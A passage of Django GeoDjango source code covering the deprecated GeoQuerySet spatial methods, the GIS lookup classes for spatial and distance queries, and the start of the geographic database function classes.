            raise TypeError('Size argument(s) for the grid must be a float or integer values.')

        nargs = len(args)
        if nargs == 1:
            size = args[0]
            procedure_fmt = '%(geo_col)s,%(size)s'
            procedure_args = {'size': size}
        elif nargs == 2:
            xsize, ysize = args
            procedure_fmt = '%(geo_col)s,%(xsize)s,%(ysize)s'
            procedure_args = {'xsize': xsize, 'ysize': ysize}
        elif nargs == 4:
            xsize, ysize, xorigin, yorigin = args
            procedure_fmt = '%(geo_col)s,%(xorigin)s,%(yorigin)s,%(xsize)s,%(ysize)s'
            procedure_args = {'xsize': xsize, 'ysize': ysize,
                              'xorigin': xorigin, 'yorigin': yorigin}
        else:
            raise ValueError('Must provide 1, 2, or 4 arguments to `snap_to_grid`.')

        s = {'procedure_fmt': procedure_fmt,
             'procedure_args': procedure_args,
             'select_field': GeomField(),
             }

        return self._spatial_attribute('snap_to_grid', s, **kwargs)

    def svg(self, relative=False, precision=8, **kwargs):
        """
        Returns SVG representation of the geographic field in a `svg`
        attribute on each element of this GeoQuerySet.

        Keyword Arguments:
         `relative`  => If set to True, this will evaluate the path in
                        terms of relative moves (rather than absolute).

         `precision` => May be used to set the maximum number of decimal
                        digits used in output (defaults to 8).
        """
        relative = int(bool(relative))
        if not isinstance(precision, six.integer_types):
            raise TypeError('SVG precision keyword argument must be an integer.')
        s = {
            'desc': 'SVG',
            'procedure_fmt': '%(geo_col)s,%(rel)s,%(precision)s',
            'procedure_args': {
                'rel': relative,
                'precision': precision,
            }
        }
        return self._spatial_attribute('svg', s, **kwargs)

    def sym_difference(self, geom, **kwargs):
        """
        Returns the symmetric difference of the geographic field in a
        `sym_difference` attribute on each element of this GeoQuerySet.
        """
        return self._geomset_attribute('sym_difference', geom, **kwargs)

    def translate(self, x, y, z=0.0, **kwargs):
        """
        Translates the geometry to a new location using the given numeric
        parameters as offsets.
        """
        if connections[self.db].ops.spatialite:
            if z != 0.0:
                raise NotImplementedError('SpatiaLite does not support 3D translation.')
            s = {'procedure_fmt': '%(geo_col)s,%(x)s,%(y)s',
                 'procedure_args': {'x': x, 'y': y},
                 'select_field': GeomField(),
                 }
        else:
            s = {'procedure_fmt': '%(geo_col)s,%(x)s,%(y)s,%(z)s',
                 'procedure_args': {'x': x, 'y': y, 'z': z},
                 'select_field': GeomField(),
                 }
        return self._spatial_attribute('translate', s, **kwargs)

    def transform(self, srid=4326, **kwargs):
        """
        Transforms the given geometry field to the given SRID.  If no SRID is
        provided, the transformation will default to using 4326 (WGS84).
        """
        if not isinstance(srid, six.integer_types):
            raise TypeError('An integer SRID must be provided.')
        field_name = kwargs.get('field_name')
        self._spatial_setup('transform', field_name=field_name)
        self.query.add_context('transformed_srid', srid)
        return self._clone()

    def union(self, geom, **kwargs):
        """
        Returns the union of the geographic field with the given
        Geometry in a `union` attribute on each element of this GeoQuerySet.
        """
        return self._geomset_attribute('union', geom, **kwargs)

    # ### Private API -- Abstracted DRY routines. ###
    def _spatial_setup(self, att, desc=None, field_name=None, geo_field_type=None):
        """
        Performs set up for executing the spatial function.
        """
        # Does the spatial backend support this?
        connection = connections[self.db]
        func = getattr(connection.ops, att, False)
        if desc is None:
            desc = att
        if not func:
            raise NotImplementedError('%s stored procedure not available on '
                                      'the %s backend.' %
                                      (desc, connection.ops.name))

        # Initializing the procedure arguments.
        procedure_args = {'function': func}

        # Is there a geographic field in the model to perform this
        # operation on?
        geo_field = self._geo_field(field_name)
        if not geo_field:
            raise TypeError('%s output only available on GeometryFields.' % func)

        # If the `geo_field_type` keyword was used, then enforce that
        # type limitation.
        if geo_field_type is not None and not isinstance(geo_field, geo_field_type):
            raise TypeError('"%s" stored procedures may only be called on %ss.' % (func, geo_field_type.__name__))

        # Setting the procedure args.
        procedure_args['geo_col'] = self._geocol_select(geo_field, field_name)

        return procedure_args, geo_field

    def _spatial_attribute(self, att, settings, field_name=None, model_att=None):
        """
        DRY routine for calling a spatial stored procedure on a geometry column
        and attaching its output as an attribute of the model.

        Arguments:
         att:
          The name of the spatial attribute that holds the spatial
          SQL function to call.

         settings:
          Dictionary of internal settings to customize for the spatial procedure.

        Public Keyword Arguments:

         field_name:
          The name of the geographic field to call the spatial
          function on.  May also be a lookup to a geometry field
          as part of a foreign key relation.

         model_att:
          The name of the model attribute to attach the output of
          the spatial function to.
        """
        warnings.warn(
            "The %s GeoQuerySet method is deprecated. See GeoDjango Functions "
            "documentation to find the expression-based replacement." % att,
            RemovedInDjango20Warning, stacklevel=2
        )
        # Default settings.
        settings.setdefault('desc', None)
        settings.setdefault('geom_args', ())
        settings.setdefault('geom_field', None)
        settings.setdefault('procedure_args', {})
        settings.setdefault('procedure_fmt', '%(geo_col)s')
        settings.setdefault('select_params', [])

        connection = connections[self.db]

        # Performing setup for the spatial column, unless told not to.
        if settings.get('setup', True):
            default_args, geo_field = self._spatial_setup(
                att, desc=settings['desc'], field_name=field_name,
                geo_field_type=settings.get('geo_field_type'))
            for k, v in six.iteritems(default_args):
                settings['procedure_args'].setdefault(k, v)
        else:
            geo_field = settings['geo_field']

        # The attribute to attach to the model.
        if not isinstance(model_att, six.string_types):
            model_att = att

        # Special handling for any argument that is a geometry.
        for name in settings['geom_args']:
            # Using the field's get_placeholder() routine to get any needed
            # transformation SQL.
            geom = geo_field.get_prep_value(settings['procedure_args'][name])
            params = geo_field._get_db_prep_lookup('contains', geom, connection=connection)
            geom_placeholder = geo_field.get_placeholder(geom, None, connection)

            # Replacing the procedure format with that of any needed
            # transformation SQL.
            old_fmt = '%%(%s)s' % name
            new_fmt = geom_placeholder % '%%s'
            settings['procedure_fmt'] = settings['procedure_fmt'].replace(old_fmt, new_fmt)
            settings['select_params'].extend(params)

        # Getting the format for the stored procedure.
        fmt = '%%(function)s(%s)' % settings['procedure_fmt']

        # If the result of this function needs to be converted.
        if settings.get('select_field'):
            select_field = settings['select_field']
            if connection.ops.oracle:
                select_field.empty_strings_allowed = False
        else:
            select_field = Field()

        # Finally, setting the extra selection attribute with
        # the format string expanded with the stored procedure
        # arguments.
        self.query.add_annotation(
            RawSQL(fmt % settings['procedure_args'], settings['select_params'], select_field),
            model_att)
        return self

    def _distance_attribute(self, func, geom=None, tolerance=0.05, spheroid=False, **kwargs):
        """
        DRY routine for GeoQuerySet distance attribute routines.
        """
        # Setting up the distance procedure arguments.
        procedure_args, geo_field = self._spatial_setup(func, field_name=kwargs.get('field_name'))

        # If geodetic defaulting distance attribute to meters (Oracle and
        # PostGIS spherical distances return meters).  Otherwise, use the
        # units of the geometry field.
        connection = connections[self.db]
        geodetic = geo_field.geodetic(connection)
        geography = geo_field.geography

        if geodetic:
            dist_att = 'm'
        else:
            dist_att = Distance.unit_attname(geo_field.units_name(connection))

        # Shortcut booleans for what distance function we're using and
        # whether the geometry field is 3D.
        distance = func == 'distance'
        length = func == 'length'
        perimeter = func == 'perimeter'
        if not (distance or length or perimeter):
            raise ValueError('Unknown distance function: %s' % func)
        geom_3d = geo_field.dim == 3

        # The field's _get_db_prep_lookup() is used to get any
        # extra distance parameters.  Here we set up the
        # parameters that will be passed in to field's function.
        lookup_params = [geom or 'POINT (0 0)', 0]

        # Getting the spatial backend operations.
        backend = connection.ops

        # If the spheroid calculation is desired, either by the `spheroid`
        # keyword or when calculating the length of geodetic field, make
        # sure the 'spheroid' distance setting string is passed in so we
        # get the correct spatial stored procedure.
        if spheroid or (backend.postgis and geodetic and
                        (not geography) and length):
            lookup_params.append('spheroid')
        lookup_params = geo_field.get_prep_value(lookup_params)
        params = geo_field._get_db_prep_lookup('distance_lte', lookup_params, connection=connection)

        # The `geom_args` flag is set to true if a geometry parameter was
        # passed in.
        geom_args = bool(geom)

        if backend.oracle:
            if distance:
                procedure_fmt = '%(geo_col)s,%(geom)s,%(tolerance)s'
            elif length or perimeter:
                procedure_fmt = '%(geo_col)s,%(tolerance)s'
            procedure_args['tolerance'] = tolerance
        else:
            # Getting whether this field is in units of degrees since the field may have
            # been transformed via the `transform` GeoQuerySet method.
            srid = self.query.get_context('transformed_srid')
            if srid:
                u, unit_name, s = get_srid_info(srid, connection)
                geodetic = unit_name.lower() in geo_field.geodetic_units

            if geodetic and not connection.features.supports_distance_geodetic:
                raise ValueError(
                    'This database does not support linear distance '
                    'calculations on geodetic coordinate systems.'
                )

            if distance:
                if srid:
                    # Setting the `geom_args` flag to false because we want to handle
                    # transformation SQL here, rather than the way done by default
                    # (which will transform to the original SRID of the field rather
                    #  than to what was transformed to).
                    geom_args = False
                    procedure_fmt = '%s(%%(geo_col)s, %s)' % (backend.transform, srid)
                    if geom.srid is None or geom.srid == srid:
                        # If the geom parameter srid is None, it is assumed the coordinates
                        # are in the transformed units.  A placeholder is used for the
                        # geometry parameter.  `GeomFromText` constructor is also needed
                        # to wrap geom placeholder for SpatiaLite.
                        if backend.spatialite:
                            procedure_fmt += ', %s(%%%%s, %s)' % (backend.from_text, srid)
                        else:
                            procedure_fmt += ', %%s'
                    else:
                        # We need to transform the geom to the srid specified in `transform()`,
                        # so wrapping the geometry placeholder in transformation SQL.
                        # SpatiaLite also needs geometry placeholder wrapped in `GeomFromText`
                        # constructor.
                        if backend.spatialite:
                            procedure_fmt += (', %s(%s(%%%%s, %s), %s)' % (
                                backend.transform, backend.from_text,
                                geom.srid, srid))
                        else:
                            procedure_fmt += ', %s(%%%%s, %s)' % (backend.transform, srid)
                else:
                    # `transform()` was not used on this GeoQuerySet.
                    procedure_fmt = '%(geo_col)s,%(geom)s'

                if not geography and geodetic:
                    # Spherical distance calculation is needed (because the geographic
                    # field is geodetic). However, the PostGIS ST_distance_sphere/spheroid()
                    # procedures may only do queries from point columns to point geometries
                    # some error checking is required.
                    if not backend.geography:
                        if not isinstance(geo_field, PointField):
                            raise ValueError('Spherical distance calculation only supported on PointFields.')
                        if not str(Geometry(six.memoryview(params[0].ewkb)).geom_type) == 'Point':
                            raise ValueError(
                                'Spherical distance calculation only supported with '
                                'Point Geometry parameters'
                            )
                    # The `function` procedure argument needs to be set differently for
                    # geodetic distance calculations.
                    if spheroid:
                        # Call to distance_spheroid() requires spheroid param as well.
                        procedure_fmt += ",'%(spheroid)s'"
                        procedure_args.update({'function': backend.distance_spheroid, 'spheroid': params[1]})
                    else:
                        procedure_args.update({'function': backend.distance_sphere})
            elif length or perimeter:
                procedure_fmt = '%(geo_col)s'
                if not geography and geodetic and length:
                    # There's no `length_sphere`, and `length_spheroid` also
                    # works on 3D geometries.
                    procedure_fmt += ",'%(spheroid)s'"
                    procedure_args.update({'function': backend.length_spheroid, 'spheroid': params[1]})
                elif geom_3d and connection.features.supports_3d_functions:
                    # Use 3D variants of perimeter and length routines on supported backends.
                    if perimeter:
                        procedure_args.update({'function': backend.perimeter3d})
                    elif length:
                        procedure_args.update({'function': backend.length3d})

        # Setting up the settings for `_spatial_attribute`.
        s = {'select_field': DistanceField(dist_att),
             'setup': False,
             'geo_field': geo_field,
             'procedure_args': procedure_args,
             'procedure_fmt': procedure_fmt,
             }
        if geom_args:
            s['geom_args'] = ('geom',)
            s['procedure_args']['geom'] = geom
        elif geom:
            # The geometry is passed in as a parameter because we handled
            # transformation conditions in this routine.
            s['select_params'] = [backend.Adapter(geom)]
        return self._spatial_attribute(func, s, **kwargs)

    def _geom_attribute(self, func, tolerance=0.05, **kwargs):
        """
        DRY routine for setting up a GeoQuerySet method that attaches a
        Geometry attribute (e.g., `centroid`, `point_on_surface`).
        """
        s = {'select_field': GeomField()}
        if connections[self.db].ops.oracle:
            s['procedure_fmt'] = '%(geo_col)s,%(tolerance)s'
            s['procedure_args'] = {'tolerance': tolerance}
        return self._spatial_attribute(func, s, **kwargs)

    def _geomset_attribute(self, func, geom, tolerance=0.05, **kwargs):
        """
        DRY routine for setting up a GeoQuerySet method that attaches a
        Geometry attribute and takes a Geoemtry parameter.  This is used
        for geometry set-like operations (e.g., intersection, difference,
        union, sym_difference).
        """
        s = {
            'geom_args': ('geom',),
            'select_field': GeomField(),
            'procedure_fmt': '%(geo_col)s,%(geom)s',
            'procedure_args': {'geom': geom},
        }
        if connections[self.db].ops.oracle:
            s['procedure_fmt'] += ',%(tolerance)s'
            s['procedure_args']['tolerance'] = tolerance
        return self._spatial_attribute(func, s, **kwargs)

    def _geocol_select(self, geo_field, field_name):
        """
        Helper routine for constructing the SQL to select the geographic
        column.  Takes into account if the geographic field is in a
        ForeignKey relation to the current model.
        """
        compiler = self.query.get_compiler(self.db)
        opts = self.model._meta
        if geo_field not in opts.fields:
            # Is this operation going to be on a related geographic field?
            # If so, it'll have to be added to the select related information
            # (e.g., if 'location__point' was given as the field name, then
            # chop the non-relational field and add select_related('location')).
            # Note: the operation really is defined as "must add select related!"
            self.query.add_select_related([field_name.rsplit(LOOKUP_SEP, 1)[0]])
            # Call pre_sql_setup() so that compiler.select gets populated.
            compiler.pre_sql_setup()
            for col, _, _ in compiler.select:
                if col.output_field == geo_field:
                    return col.as_sql(compiler, compiler.connection)[0]
            raise ValueError("%r not in compiler's related_select_cols" % geo_field)
        elif geo_field not in opts.local_fields:
            # This geographic field is inherited from another model, so we have to
            # use the db table for the _parent_ model instead.
            parent_model = geo_field.model._meta.concrete_model
            return self._field_column(compiler, geo_field, parent_model._meta.db_table)
        else:
            return self._field_column(compiler, geo_field)

    # Private API utilities, subject to change.
    def _geo_field(self, field_name=None):
        """
        Returns the first Geometry field encountered or the one specified via
        the `field_name` keyword. The `field_name` may be a string specifying
        the geometry field on this GeoQuerySet's model, or a lookup string
        to a geometry field via a ForeignKey relation.
        """
        if field_name is None:
            # Incrementing until the first geographic field is found.
            for field in self.model._meta.fields:
                if isinstance(field, GeometryField):
                    return field
            return False
        else:
            # Otherwise, check by the given field name -- which may be
            # a lookup to a _related_ geographic field.
            return GISLookup._check_geo_field(self.model._meta, field_name)

    def _field_column(self, compiler, field, table_alias=None, column=None):
        """
        Helper function that returns the database column for the given field.
        The table and column are returned (quoted) in the proper format, e.g.,
        `"geoapp_city"."point"`.  If `table_alias` is not specified, the
        database table associated with the model of this `GeoQuerySet` will be
        used.  If `column` is specified, it will be used instead of the value
        in `field.column`.
        """
        if table_alias is None:
            table_alias = compiler.query.get_meta().db_table
        return "%s.%s" % (compiler.quote_name_unless_alias(table_alias),
                          compiler.connection.ops.quote_name(column or field.column))






from __future__ import unicode_literals

import re

from django.core.exceptions import FieldDoesNotExist
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import Col, Expression
from django.db.models.lookups import BuiltinLookup, Lookup, Transform
from django.utils import six

gis_lookups = {}


class RasterBandTransform(Transform):
    def as_sql(self, compiler, connection):
        return compiler.compile(self.lhs)


class GISLookup(Lookup):
    sql_template = None
    transform_func = None
    distance = False
    band_rhs = None
    band_lhs = None

    def __init__(self, *args, **kwargs):
        super(GISLookup, self).__init__(*args, **kwargs)
        self.template_params = {}

    @classmethod
    def _check_geo_field(cls, opts, lookup):
        """
        Utility for checking the given lookup with the given model options.
        The lookup is a string either specifying the geographic field, e.g.
        'point, 'the_geom', or a related lookup on a geographic field like
        'address__point'.

        If a BaseSpatialField exists according to the given lookup on the model
        options, it will be returned. Otherwise return None.
        """
        from django.contrib.gis.db.models.fields import BaseSpatialField
        # This takes into account the situation where the lookup is a
        # lookup to a related geographic field, e.g., 'address__point'.
        field_list = lookup.split(LOOKUP_SEP)

        # Reversing so list operates like a queue of related lookups,
        # and popping the top lookup.
        field_list.reverse()
        fld_name = field_list.pop()

        try:
            geo_fld = opts.get_field(fld_name)
            # If the field list is still around, then it means that the
            # lookup was for a geometry field across a relationship --
            # thus we keep on getting the related model options and the
            # model field associated with the next field in the list
            # until there's no more left.
            while len(field_list):
                opts = geo_fld.remote_field.model._meta
                geo_fld = opts.get_field(field_list.pop())
        except (FieldDoesNotExist, AttributeError):
            return False

        # Finally, make sure we got a Geographic field and return.
        if isinstance(geo_fld, BaseSpatialField):
            return geo_fld
        else:
            return False

    def process_band_indices(self, only_lhs=False):
        """
        Extract the lhs band index from the band transform class and the rhs
        band index from the input tuple.
        """
        # PostGIS band indices are 1-based, so the band index needs to be
        # increased to be consistent with the GDALRaster band indices.
        if only_lhs:
            self.band_rhs = 1
            self.band_lhs = self.lhs.band_index + 1
            return

        if isinstance(self.lhs, RasterBandTransform):
            self.band_lhs = self.lhs.band_index + 1
        else:
            self.band_lhs = 1

        self.band_rhs = self.rhs[1]
        if len(self.rhs) == 1:
            self.rhs = self.rhs[0]
        else:
            self.rhs = (self.rhs[0], ) + self.rhs[2:]

    def get_db_prep_lookup(self, value, connection):
        # get_db_prep_lookup is called by process_rhs from super class
        if isinstance(value, (tuple, list)):
            # First param is assumed to be the geometric object
            params = [connection.ops.Adapter(value[0])] + list(value)[1:]
        else:
            params = [connection.ops.Adapter(value)]
        return ('%s', params)

    def process_rhs(self, compiler, connection):
        if hasattr(self.rhs, '_as_sql'):
            # If rhs is some QuerySet, don't touch it
            return super(GISLookup, self).process_rhs(compiler, connection)

        geom = self.rhs
        if isinstance(self.rhs, Col):
            # Make sure the F Expression destination field exists, and
            # set an `srid` attribute with the same as that of the
            # destination.
            geo_fld = self.rhs.output_field
            if not hasattr(geo_fld, 'srid'):
                raise ValueError('No geographic field found in expression.')
            self.rhs.srid = geo_fld.srid
        elif isinstance(self.rhs, Expression):
            raise ValueError('Complex expressions not supported for spatial fields.')
        elif isinstance(self.rhs, (list, tuple)):
            geom = self.rhs[0]
            # Check if a band index was passed in the query argument.
            if ((len(self.rhs) == 2 and not self.lookup_name == 'relate') or
                    (len(self.rhs) == 3 and self.lookup_name == 'relate')):
                self.process_band_indices()
            elif len(self.rhs) > 2:
                raise ValueError('Tuple too long for lookup %s.' % self.lookup_name)
        elif isinstance(self.lhs, RasterBandTransform):
            self.process_band_indices(only_lhs=True)

        rhs, rhs_params = super(GISLookup, self).process_rhs(compiler, connection)
        rhs = connection.ops.get_geom_placeholder(self.lhs.output_field, geom, compiler)
        return rhs, rhs_params

    def get_rhs_op(self, connection, rhs):
        # Unlike BuiltinLookup, the GIS get_rhs_op() implementation should return
        # an object (SpatialOperator) with an as_sql() method to allow for more
        # complex computations (where the lhs part can be mixed in).
        return connection.ops.gis_operators[self.lookup_name]

    def as_sql(self, compiler, connection):
        lhs_sql, sql_params = self.process_lhs(compiler, connection)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        sql_params.extend(rhs_params)

        template_params = {'lhs': lhs_sql, 'rhs': rhs_sql, 'value': '%s'}
        template_params.update(self.template_params)
        rhs_op = self.get_rhs_op(connection, rhs_sql)
        return rhs_op.as_sql(connection, self, template_params, sql_params)


# ------------------
# Geometry operators
# ------------------

class OverlapsLeftLookup(GISLookup):
    """
    The overlaps_left operator returns true if A's bounding box overlaps or is to the
    left of B's bounding box.
    """
    lookup_name = 'overlaps_left'
gis_lookups['overlaps_left'] = OverlapsLeftLookup


class OverlapsRightLookup(GISLookup):
    """
    The 'overlaps_right' operator returns true if A's bounding box overlaps or is to the
    right of B's bounding box.
    """
    lookup_name = 'overlaps_right'
gis_lookups['overlaps_right'] = OverlapsRightLookup


class OverlapsBelowLookup(GISLookup):
    """
    The 'overlaps_below' operator returns true if A's bounding box overlaps or is below
    B's bounding box.
    """
    lookup_name = 'overlaps_below'
gis_lookups['overlaps_below'] = OverlapsBelowLookup


class OverlapsAboveLookup(GISLookup):
    """
    The 'overlaps_above' operator returns true if A's bounding box overlaps or is above
    B's bounding box.
    """
    lookup_name = 'overlaps_above'
gis_lookups['overlaps_above'] = OverlapsAboveLookup


class LeftLookup(GISLookup):
    """
    The 'left' operator returns true if A's bounding box is strictly to the left
    of B's bounding box.
    """
    lookup_name = 'left'
gis_lookups['left'] = LeftLookup


class RightLookup(GISLookup):
    """
    The 'right' operator returns true if A's bounding box is strictly to the right
    of B's bounding box.
    """
    lookup_name = 'right'
gis_lookups['right'] = RightLookup


class StrictlyBelowLookup(GISLookup):
    """
    The 'strictly_below' operator returns true if A's bounding box is strictly below B's
    bounding box.
    """
    lookup_name = 'strictly_below'
gis_lookups['strictly_below'] = StrictlyBelowLookup


class StrictlyAboveLookup(GISLookup):
    """
    The 'strictly_above' operator returns true if A's bounding box is strictly above B's
    bounding box.
    """
    lookup_name = 'strictly_above'
gis_lookups['strictly_above'] = StrictlyAboveLookup


class SameAsLookup(GISLookup):
    """
    The "~=" operator is the "same as" operator. It tests actual geometric
    equality of two features. So if A and B are the same feature,
    vertex-by-vertex, the operator returns true.
    """
    lookup_name = 'same_as'
gis_lookups['same_as'] = SameAsLookup


class ExactLookup(SameAsLookup):
    # Alias of same_as
    lookup_name = 'exact'
gis_lookups['exact'] = ExactLookup


class BBContainsLookup(GISLookup):
    """
    The 'bbcontains' operator returns true if A's bounding box completely contains
    by B's bounding box.
    """
    lookup_name = 'bbcontains'
gis_lookups['bbcontains'] = BBContainsLookup


class BBOverlapsLookup(GISLookup):
    """
    The 'bboverlaps' operator returns true if A's bounding box overlaps B's bounding box.
    """
    lookup_name = 'bboverlaps'
gis_lookups['bboverlaps'] = BBOverlapsLookup


class ContainedLookup(GISLookup):
    """
    The 'contained' operator returns true if A's bounding box is completely contained
    by B's bounding box.
    """
    lookup_name = 'contained'
gis_lookups['contained'] = ContainedLookup


# ------------------
# Geometry functions
# ------------------

class ContainsLookup(GISLookup):
    lookup_name = 'contains'
gis_lookups['contains'] = ContainsLookup


class ContainsProperlyLookup(GISLookup):
    lookup_name = 'contains_properly'
gis_lookups['contains_properly'] = ContainsProperlyLookup


class CoveredByLookup(GISLookup):
    lookup_name = 'coveredby'
gis_lookups['coveredby'] = CoveredByLookup


class CoversLookup(GISLookup):
    lookup_name = 'covers'
gis_lookups['covers'] = CoversLookup


class CrossesLookup(GISLookup):
    lookup_name = 'crosses'
gis_lookups['crosses'] = CrossesLookup


class DisjointLookup(GISLookup):
    lookup_name = 'disjoint'
gis_lookups['disjoint'] = DisjointLookup


class EqualsLookup(GISLookup):
    lookup_name = 'equals'
gis_lookups['equals'] = EqualsLookup


class IntersectsLookup(GISLookup):
    lookup_name = 'intersects'
gis_lookups['intersects'] = IntersectsLookup


class IsValidLookup(BuiltinLookup):
    lookup_name = 'isvalid'

    def as_sql(self, compiler, connection):
        if self.lhs.field.geom_type == 'RASTER':
            raise ValueError('The isvalid lookup is only available on geometry fields.')
        gis_op = connection.ops.gis_operators[self.lookup_name]
        sql, params = self.process_lhs(compiler, connection)
        sql = '%(func)s(%(lhs)s)' % {'func': gis_op.func, 'lhs': sql}
        if not self.rhs:
            sql = 'NOT ' + sql
        return sql, params
gis_lookups['isvalid'] = IsValidLookup


class OverlapsLookup(GISLookup):
    lookup_name = 'overlaps'
gis_lookups['overlaps'] = OverlapsLookup


class RelateLookup(GISLookup):
    lookup_name = 'relate'
    sql_template = '%(func)s(%(lhs)s, %(rhs)s, %%s)'
    pattern_regex = re.compile(r'^[012TF\*]{9}$')

    def get_db_prep_lookup(self, value, connection):
        if len(value) != 2:
            raise ValueError('relate must be passed a two-tuple')
        # Check the pattern argument
        backend_op = connection.ops.gis_operators[self.lookup_name]
        if hasattr(backend_op, 'check_relate_argument'):
            backend_op.check_relate_argument(value[1])
        else:
            pattern = value[1]
            if not isinstance(pattern, six.string_types) or not self.pattern_regex.match(pattern):
                raise ValueError('Invalid intersection matrix pattern "%s".' % pattern)
        return super(RelateLookup, self).get_db_prep_lookup(value, connection)
gis_lookups['relate'] = RelateLookup


class TouchesLookup(GISLookup):
    lookup_name = 'touches'
gis_lookups['touches'] = TouchesLookup


class WithinLookup(GISLookup):
    lookup_name = 'within'
gis_lookups['within'] = WithinLookup


class DistanceLookupBase(GISLookup):
    distance = True
    sql_template = '%(func)s(%(lhs)s, %(rhs)s) %(op)s %(value)s'

    def process_rhs(self, compiler, connection):
        if not isinstance(self.rhs, (tuple, list)) or not 2 <= len(self.rhs) <= 4:
            raise ValueError("2, 3, or 4-element tuple required for '%s' lookup." % self.lookup_name)
        elif len(self.rhs) == 4 and not self.rhs[3] == 'spheroid':
            raise ValueError("For 4-element tuples the last argument must be the 'speroid' directive.")

        # Check if the second parameter is a band index.
        if len(self.rhs) > 2 and not self.rhs[2] == 'spheroid':
            self.process_band_indices()

        params = [connection.ops.Adapter(self.rhs[0])]

        # Getting the distance parameter in the units of the field.
        dist_param = self.rhs[1]
        if hasattr(dist_param, 'resolve_expression'):
            dist_param = dist_param.resolve_expression(compiler.query)
            sql, expr_params = compiler.compile(dist_param)
            self.template_params['value'] = sql
            params.extend(expr_params)
        else:
            params += connection.ops.get_distance(
                self.lhs.output_field, (dist_param,) + self.rhs[2:],
                self.lookup_name, handle_spheroid=False
            )
        rhs = connection.ops.get_geom_placeholder(self.lhs.output_field, params[0], compiler)
        return (rhs, params)


class DWithinLookup(DistanceLookupBase):
    lookup_name = 'dwithin'
    sql_template = '%(func)s(%(lhs)s, %(rhs)s, %%s)'
gis_lookups['dwithin'] = DWithinLookup


class DistanceGTLookup(DistanceLookupBase):
    lookup_name = 'distance_gt'
gis_lookups['distance_gt'] = DistanceGTLookup


class DistanceGTELookup(DistanceLookupBase):
    lookup_name = 'distance_gte'
gis_lookups['distance_gte'] = DistanceGTELookup


class DistanceLTLookup(DistanceLookupBase):
    lookup_name = 'distance_lt'
gis_lookups['distance_lt'] = DistanceLTLookup


class DistanceLTELookup(DistanceLookupBase):
    lookup_name = 'distance_lte'
gis_lookups['distance_lte'] = DistanceLTELookup






from decimal import Decimal

from django.contrib.gis.db.models.fields import GeometryField
from django.contrib.gis.db.models.sql import AreaField
from django.contrib.gis.measure import (
    Area as AreaMeasure, Distance as DistanceMeasure,
)
from django.core.exceptions import FieldError
from django.db.models import BooleanField, FloatField, IntegerField, TextField
from django.db.models.expressions import Func, Value
from django.utils import six

NUMERIC_TYPES = six.integer_types + (float, Decimal)


class GeoFunc(Func):
    function = None
    output_field_class = None
    geom_param_pos = 0

    def __init__(self, *expressions, **extra):
        if 'output_field' not in extra and self.output_field_class:
            extra['output_field'] = self.output_field_class()
        super(GeoFunc, self).__init__(*expressions, **extra)

    @property
    def name(self):
        return self.__class__.__name__

    @property
    def srid(self):
        expr = self.source_expressions[self.geom_param_pos]
        if hasattr(expr, 'srid'):
            return expr.srid
        try:
            return expr.field.srid
        except (AttributeError, FieldError):
            return None

    def as_sql(self, compiler, connection):
        if self.function is None:
            self.function = connection.ops.spatial_function_name(self.name)
        return super(GeoFunc, self).as_sql(compiler, connection)

    def resolve_expression(self, *args, **kwargs):
        res = super(GeoFunc, self).resolve_expression(*args, **kwargs)
        base_srid = res.srid
        if not base_srid:
            raise TypeError("Geometry functions can only operate on geometric content.")

        for pos, expr in enumerate(res.source_expressions[1:], start=1):
            if isinstance(expr, GeomValue) and expr.srid != base_srid:
                # Automatic SRID conversion so objects are comparable
                res.source_expressions[pos] = Transform(expr, base_srid).resolve_expression(*args, **kwargs)
        return res

    def _handle_param(self, value, param_name='', check_types=None):
        if not hasattr(value, 'resolve_expression'):
            if check_types and not isinstance(value, check_types):
                raise TypeError(
                    "The %s parameter has the wrong type: should be %s." % (
                        param_name, str(check_types))
                )
        return value


class GeomValue(Value):
    geography = False

    @property
    def srid(self):
        return self.value.srid

    def as_sql(self, compiler, connection):
        return '%s(%%s, %s)' % (connection.ops.from_text, self.srid), [connection.ops.Adapter(self.value)]

    def as_mysql(self, compiler, connection):
        return '%s(%%s)' % (connection.ops.from_text), [connection.ops.Adapter(self.value)]

    def as_postgresql(self, compiler, connection):
        if self.geography:
            self.value = connection.ops.Adapter(self.value, geography=self.geography)
        else:
            self.value = connection.ops.Adapter(self.value)
        return super(GeomValue, self).as_sql(compiler, connection)


class GeoFuncWithGeoParam(GeoFunc):
    def __init__(self, expression, geom, *expressions, **extra):
        if not hasattr(geom, 'srid') or not geom.srid:
            raise ValueError("Please provide a geometry attribute with a defined SRID.")
        super(GeoFuncWithGeoParam, self).__init__(expression, GeomValue(geom), *expressions, **extra)


class SQLiteDecimalToFloatMixin(object):
    """
    By default, Decimal values are converted to str by the SQLite backend, which
    is not acceptable by the GIS functions expecting numeric values.
    """
    def as_sqlite(self, compiler, connection):
        for expr in self.get_source_expressions():
            if hasattr(expr, 'value') and isinstance(expr.value, Decimal):
                expr.value = float(expr.value)
        return super(SQLiteDecimalToFloatMixin, self).as_sql(compiler, connection)


class OracleToleranceMixin(object):
    tolerance = 0.05

    def as_oracle(self, compiler, connection):
        tol = self.extra.get('tolerance', self.tolerance)
        self.template = "%%(function)s(%%(expressions)s, %s)" % tol
        return super(OracleToleranceMixin, self).as_sql(compiler, connection)


class Area(OracleToleranceMixin, GeoFunc):
    output_field_class = AreaField
    arity = 1

    def as_sql(self, compiler, connection):
        if connection.ops.geography:
            self.output_field.area_att = 'sq_m'
        else:
            # Getting the area units of the geographic field.
            source_fields = self.get_source_fields()
            if len(source_fields):
                source_field = source_fields[0]
                if source_field.geodetic(connection):
                    # TODO: Do we want to support raw number areas for geodetic fields?
                    raise NotImplementedError('Area on geodetic coordinate systems not supported.')
                units_name = source_field.units_name(connection)
                if units_name:
                    self.output_field.area_att = AreaMeasure.unit_attname(units_name)
        return super(Area, self).as_sql(compiler, connection)

    def as_oracle(self, compiler, connection):
        self.output_field = AreaField('sq_m')  # Oracle returns area in units of meters.
        return super(Area, self).as_oracle(compiler, connection)


class AsGeoJSON(GeoFunc):
    output_field_class = TextField

    def __init__(self, expression, bbox=False, crs=False, precision=8, **extra):
        expressions = [expression]
        if precision is not None:
            expressions.append(self._handle_param(precision, 'precision', six.integer_types))
        options = 0
        if crs and bbox:
            options = 3
        elif bbox:
            options = 1
        elif crs:
            options = 2
        if options:
            expressions.append(options)
        super(AsGeoJSON, self).__init__(*expressions, **extra)


class AsGML(GeoFunc):
    geom_param_pos = 1
    output_field_class = TextField

    def __init__(self, expression, version=2, precision=8, **extra):
